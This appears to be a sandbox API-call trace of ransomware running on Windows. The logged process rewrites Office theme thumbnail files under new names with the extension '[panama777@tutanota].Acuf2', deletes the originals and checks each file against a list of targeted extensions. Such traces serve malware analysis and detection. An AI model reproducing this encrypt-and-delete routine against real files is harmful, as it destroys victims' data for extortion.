	[0048.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.981] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.981] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.981] GetLastError () returned 0x0
	[0048.981] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x7c5d, lpOverlapped=0x0) returned 1
	[0049.911] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7c60, lpOverlapped=0x0) returned 1
	[0049.912] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0049.912] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0049.913] SetEndOfFile (hFile=0x1a4) returned 1
	[0049.913] CloseHandle (hObject=0x1a4) returned 1
	[0049.913] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.913] SetEndOfFile (hFile=0x1c0) returned 1
	[0049.914] CloseHandle (hObject=0x1c0) returned 1
	[0049.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0049.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1
	[0049.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.915] lstrlenW (lpString=".doc") returned 4
	[0049.915] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0049.915] lstrlenW (lpString=".docx") returned 5
	[0049.915] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0049.915] lstrlenW (lpString=".pdf") returned 4
	[0049.915] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0049.915] lstrlenW (lpString=".xls") returned 4
	[0049.915] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0049.915] lstrlenW (lpString=".xlsx") returned 5
	[0049.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0049.915] lstrlenW (lpString=".ppt") returned 4
	[0049.915] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0049.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.915] lstrlenW (lpString=".zip") returned 4
	[0049.915] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0049.915] lstrlenW (lpString=".rar") returned 4
	[0049.915] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0049.915] lstrlenW (lpString=".bz2") returned 4
	[0049.915] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0049.915] lstrlenW (lpString=".7z") returned 3
	[0049.915] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0049.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.916] lstrlenW (lpString=".dbf") returned 4
	[0049.916] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0049.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.916] lstrlenW (lpString=".1cd") returned 4
	[0049.916] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0049.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.916] lstrlenW (lpString=".jpg") returned 4
	[0049.916] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0049.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.916] lstrlenW (lpString=".doc") returned 4
	[0049.916] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0049.916] lstrlenW (lpString=".docx") returned 5
	[0049.916] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0049.916] lstrlenW (lpString=".pdf") returned 4
	[0049.916] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0049.916] lstrlenW (lpString=".xls") returned 4
	[0049.916] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0049.916] lstrlenW (lpString=".xlsx") returned 5
	[0049.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0049.916] lstrlenW (lpString=".ppt") returned 4
	[0049.916] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0049.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.916] lstrlenW (lpString=".zip") returned 4
	[0049.916] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0049.916] lstrlenW (lpString=".rar") returned 4
	[0049.916] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0049.916] lstrlenW (lpString=".bz2") returned 4
	[0049.917] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0049.917] lstrlenW (lpString=".7z") returned 3
	[0049.917] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0049.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.917] lstrlenW (lpString=".dbf") returned 4
	[0049.917] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0049.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.917] lstrlenW (lpString=".1cd") returned 4
	[0049.917] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0049.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0049.917] lstrlenW (lpString=".jpg") returned 4
	[0049.917] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0049.917] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0049.917] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0049.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0050.451] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=43276) returned 1
	[0050.451] CloseHandle (hObject=0x200) returned 1
	[0050.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20
	[0050.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.480] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.480] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0050.481] GetLastError () returned 0x0
	[0050.481] ReadFile (in: hFile=0x1fc, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xa90c, lpOverlapped=0x0) returned 1
	[0050.543] WriteFile (in: hFile=0x200, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xa910, lpOverlapped=0x0) returned 1
	[0050.545] ReadFile (in: hFile=0x1fc, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.545] WriteFile (in: hFile=0x200, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.545] SetEndOfFile (hFile=0x200) returned 1
	[0050.545] CloseHandle (hObject=0x200) returned 1
	[0050.545] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.545] SetEndOfFile (hFile=0x1fc) returned 1
	[0050.546] CloseHandle (hObject=0x1fc) returned 1
	[0050.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.547] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1
	[0050.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.547] lstrlenW (lpString=".doc") returned 4
	[0050.547] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.547] lstrlenW (lpString=".docx") returned 5
	[0050.547] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.547] lstrlenW (lpString=".pdf") returned 4
	[0050.547] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.547] lstrlenW (lpString=".xls") returned 4
	[0050.547] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.547] lstrlenW (lpString=".xlsx") returned 5
	[0050.547] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.547] lstrlenW (lpString=".ppt") returned 4
	[0050.547] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.547] lstrlenW (lpString=".zip") returned 4
	[0050.548] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.548] lstrlenW (lpString=".rar") returned 4
	[0050.548] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.548] lstrlenW (lpString=".bz2") returned 4
	[0050.548] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.548] lstrlenW (lpString=".7z") returned 3
	[0050.548] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.548] lstrlenW (lpString=".dbf") returned 4
	[0050.548] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.548] lstrlenW (lpString=".1cd") returned 4
	[0050.548] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.548] lstrlenW (lpString=".jpg") returned 4
	[0050.548] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.548] lstrlenW (lpString=".doc") returned 4
	[0050.548] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.548] lstrlenW (lpString=".docx") returned 5
	[0050.548] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.548] lstrlenW (lpString=".pdf") returned 4
	[0050.548] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.548] lstrlenW (lpString=".xls") returned 4
	[0050.548] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.548] lstrlenW (lpString=".xlsx") returned 5
	[0050.548] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.548] lstrlenW (lpString=".ppt") returned 4
	[0050.549] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.549] lstrlenW (lpString=".zip") returned 4
	[0050.549] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.549] lstrlenW (lpString=".rar") returned 4
	[0050.549] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.549] lstrlenW (lpString=".bz2") returned 4
	[0050.549] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.549] lstrlenW (lpString=".7z") returned 3
	[0050.549] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.549] lstrlenW (lpString=".dbf") returned 4
	[0050.549] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.549] lstrlenW (lpString=".1cd") returned 4
	[0050.549] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75
	[0050.549] lstrlenW (lpString=".jpg") returned 4
	[0050.549] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.549] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.549] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0051.095] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=28595) returned 1
	[0051.095] CloseHandle (hObject=0x1dc) returned 1
	[0051.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20
	[0051.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0051.112] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.112] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0051.112] GetLastError () returned 0x0
	[0051.112] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x6fb3, lpOverlapped=0x0) returned 1
	[0051.114] WriteFile (in: hFile=0x20c, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6fc0, lpOverlapped=0x0) returned 1
	[0051.115] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.115] WriteFile (in: hFile=0x20c, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.116] SetEndOfFile (hFile=0x20c) returned 1
	[0051.116] CloseHandle (hObject=0x20c) returned 1
	[0051.116] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.116] SetEndOfFile (hFile=0x1dc) returned 1
	[0051.117] CloseHandle (hObject=0x1dc) returned 1
	[0051.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.117] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1
	[0051.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.117] lstrlenW (lpString=".doc") returned 4
	[0051.117] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.118] lstrlenW (lpString=".docx") returned 5
	[0051.118] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.118] lstrlenW (lpString=".pdf") returned 4
	[0051.118] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.118] lstrlenW (lpString=".xls") returned 4
	[0051.118] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.118] lstrlenW (lpString=".xlsx") returned 5
	[0051.118] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.118] lstrlenW (lpString=".ppt") returned 4
	[0051.118] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.118] lstrlenW (lpString=".zip") returned 4
	[0051.118] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.118] lstrlenW (lpString=".rar") returned 4
	[0051.118] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.118] lstrlenW (lpString=".bz2") returned 4
	[0051.118] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.118] lstrlenW (lpString=".7z") returned 3
	[0051.118] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.118] lstrlenW (lpString=".dbf") returned 4
	[0051.118] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.118] lstrlenW (lpString=".1cd") returned 4
	[0051.118] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.118] lstrlenW (lpString=".jpg") returned 4
	[0051.118] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.119] lstrlenW (lpString=".doc") returned 4
	[0051.119] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.119] lstrlenW (lpString=".docx") returned 5
	[0051.119] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.119] lstrlenW (lpString=".pdf") returned 4
	[0051.119] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.119] lstrlenW (lpString=".xls") returned 4
	[0051.119] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.119] lstrlenW (lpString=".xlsx") returned 5
	[0051.119] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.119] lstrlenW (lpString=".ppt") returned 4
	[0051.119] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.119] lstrlenW (lpString=".zip") returned 4
	[0051.119] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.119] lstrlenW (lpString=".rar") returned 4
	[0051.119] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.119] lstrlenW (lpString=".bz2") returned 4
	[0051.119] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.119] lstrlenW (lpString=".7z") returned 3
	[0051.119] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.119] lstrlenW (lpString=".dbf") returned 4
	[0051.119] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.119] lstrlenW (lpString=".1cd") returned 4
	[0051.119] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0051.119] lstrlenW (lpString=".jpg") returned 4
	[0051.120] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.120] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
